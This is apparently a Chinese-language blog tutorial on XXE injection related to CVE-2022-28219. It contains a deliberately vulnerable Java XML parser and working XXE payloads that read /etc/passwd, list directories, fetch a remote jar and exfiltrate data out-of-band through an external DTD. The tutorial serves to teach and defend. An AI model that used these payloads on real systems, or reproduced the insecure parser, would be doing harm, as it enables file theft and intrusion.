第 27 天主要是介紹 CVE-2022-28219 應用 OWASP Top 10 A4 XXE 的攻擊原理。
所謂的 XXE 的攻擊手法又被稱為 XML External Entity Injection , 主要是 XML 的資料在 DTD(document type definition) 的定義出可以做出類似變數宣告的功能,稱之為 Entity ,但這個功能很酷的是數值定義的部分可以引用外部資料,然後就造成一連串的花式攻擊手法。以下就是針對 XXE 攻擊做一個比較快速的實作跟介紹,如果想要看比較詳細的介紹可以參考我之前做的影片 (CVE-2022-28219) 江湖流傳已久的 Double Cross E (XXE) 的必殺技,來看看它如何被利用。
那就先從建立有弱點的應用程式以及基本的 Entity 使用開始,建立相關檔案資訊如下所示。
建立步驟 :
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.SAXParseException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import java.io.FileInputStream;
public class Main {
public static void main(String [] args) throws Exception {
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setValidating(false);
DocumentBuilder documentBuilder = builderFactory.newDocumentBuilder();
Document document = documentBuilder.parse(new FileInputStream(args[0]));
System.out.println(document.getDocumentElement().getNodeName());
//Get all employees
NodeList nList = document.getElementsByTagName("employee");
System.out.println("============================");
for (int temp = 0; temp < nList.getLength(); temp++)
{
Node node = nList.item(temp);
System.out.println(""); //Just a separator
if (node.getNodeType() == Node.ELEMENT_NODE)
{
//Print each employee's detail
Element eElement = (Element) node;
System.out.println("Employee id : " + eElement.getAttribute("id"));
System.out.println("First Name : " + eElement.getElementsByTagName("firstName").item(0).getTextContent());
System.out.println("Last Name : " + eElement.getElementsByTagName("lastName").item(0).getTextContent());
System.out.println("Location : " + eElement.getElementsByTagName("location").item(0).getTextContent());
}
}
}
}
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
<!ENTITY xxe "I am aeifkz" >
]>
<employees>
<employee id="111">
<firstName>&xxe;</firstName>
<lastName>bbb</lastName>
<location>ccc</location>
</employee>
</employees>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
<!ENTITY xxe1 SYSTEM "file:///etc/passwd" >
<!ENTITY xxe2 SYSTEM "file:///tmp" >
]>
<employees>
<employee id="111">
<firstName>&xxe1;</firstName>
<lastName>&xxe2;</lastName>
<location>ccc</location>
</employee>
</employees>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
<!-- TODO change your http jar url -->
<!ENTITY xxe SYSTEM "jar:http://localhost:8080/test.jar!/anything_you_like" >
]>
<employees>
<employee id="111">
<firstName>&xxe;</firstName>
<lastName>bbb</lastName>
<location>ccc</location>
</employee>
</employees>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE employees [
<!ENTITY % file SYSTEM "file:///tmp">
<!-- TODO change your http dtd url -->
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8080/data.dtd url"> %dtd;
]>
<employees>
<employee id="111">
<firstName>&send;</firstName>
<lastName>bbb</lastName>
<location>ccc</location>
</employee>
</employees>
這邊會失敗的原因是因為後來的 JDK 版本有針對送往 FTP URL 做字元上的限制,必須使用比較舊的版本 ,這部分就留到到時候建立漏洞環境的時候再來做驗證。
最後做個小結論,雖然 XXE 在普遍的認知下是可以達到任意檔案讀取的效果,但透過這個漏洞的使用手法讓我們學習到了其實可以用來做任意檔案上傳 + 目錄列舉達到進一步的攻擊效果。至於防禦方式一樣可以參考 XML External Entity Prevention Cheat Sheet 。